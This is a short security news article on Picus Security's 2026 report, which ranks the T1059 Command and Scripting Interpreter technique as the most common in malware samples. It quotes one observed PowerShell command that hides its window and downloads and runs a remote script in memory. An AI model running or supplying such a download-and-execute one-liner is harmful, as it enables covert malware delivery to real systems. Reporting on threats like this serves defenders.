Picus Security: Command and Scripting Interpreter Technique Dominates Cyberattacks
Picus Security's analysis reveals the T1059 Command and Scripting Interpreter technique as the most prevalent in cyberattacks. It was found in 27% of malware samples analyzed in 2026.
Cybersecurity firm Picus Security has identified the "Command and Scripting Interpreter" technique (ATT&CK T1059) as the most widely utilized by adversaries in 2026. According to the company's "{inline-style-removed}The Red Report 2026"{inline-style-added}, this technique was present in 27% of nearly 1.1 million malware samples analyzed, equating to 294,498 instances.
The T1059 technique allows attackers to execute malicious code and scripts on victim systems by leveraging native command-line interfaces and scripting engines like PowerShell, VBScript, and Bash. Picus Security notes its frequent use in the "Initial Access" phase, where it facilitates the download of malware payloads or the execution of "living-off-the-land" (LOLBins) attacks that blend in with normal system operations.
The report details instances where threat actors have employed PowerShell commands to remotely fetch and execute malicious scripts directly in memory. One observed command, "powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('hxxp://185[.]73[.]125[.]8:80/a67'))"", demonstrates how attackers can discreetly download and run scripts, minimizing disk artifacts and evading detection.
Furthermore, the analysis highlights the application of the T1059 technique during "Execution" and "Persistence" phases. For example, on macOS, adversaries have used AppleScript to deploy malware and ensure its persistence by bypassing system security controls. This prevalent technique underscores the critical need for organizations to monitor and restrict the use of scripting interpreters and strengthen endpoint security measures.